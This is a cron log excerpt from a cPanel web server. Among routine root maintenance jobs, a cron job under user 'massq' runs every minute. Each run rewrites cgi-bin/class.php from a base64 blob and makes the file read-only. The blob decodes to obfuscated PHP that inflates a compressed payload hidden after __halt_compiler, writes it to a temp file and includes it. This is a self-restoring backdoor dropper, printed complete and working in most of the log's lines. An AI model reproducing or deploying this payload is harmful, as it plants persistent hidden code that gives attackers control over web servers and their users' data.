Sep  2 08:07:01 server CROND[15896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:08:01 server CROND[16288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:08:01 server CROND[16289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:08:01 server CROND[16290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:09:01 server CROND[16776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:09:01 server CROND[16777]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 08:09:01 server CROND[16778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:09:01 server CROND[16779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:10:01 server CROND[17180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:10:01 server CROND[17182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:10:01 server CROND[17184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:10:01 server CROND[17189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:10:01 server CROND[17194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:10:01 server CROND[17191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:10:01 server CROND[17187]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:10:01 server CROND[17188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:11:01 server CROND[18028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:11:01 server CROND[18030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:11:01 server CROND[18029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:12:01 server CROND[18413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:12:01 server CROND[18414]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:12:01 server CROND[18416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:12:01 server CROND[18415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:13:01 server CROND[18795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:13:01 server CROND[18797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:13:01 server CROND[18798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:14:01 server CROND[19278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:14:01 server CROND[19280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:14:01 server CROND[19281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:15:01 server CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:15:01 server CROND[19731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:15:01 server CROND[19740]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 08:15:01 server CROND[19755]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:15:01 server CROND[19752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:15:01 server CROND[19759]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 08:15:01 server CROND[19756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:15:01 server CROND[19757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:15:01 server CROND[19754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:16:01 server CROND[20648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:16:01 server CROND[20649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:16:01 server CROND[20650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:17:01 server CROND[21039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:17:01 server CROND[21040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:17:01 server CROND[21041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:18:01 server CROND[21425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:18:01 server CROND[21426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:18:01 server CROND[21427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:19:01 server CROND[21888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:19:01 server CROND[21889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:19:01 server CROND[21890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:20:01 server CROND[22431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
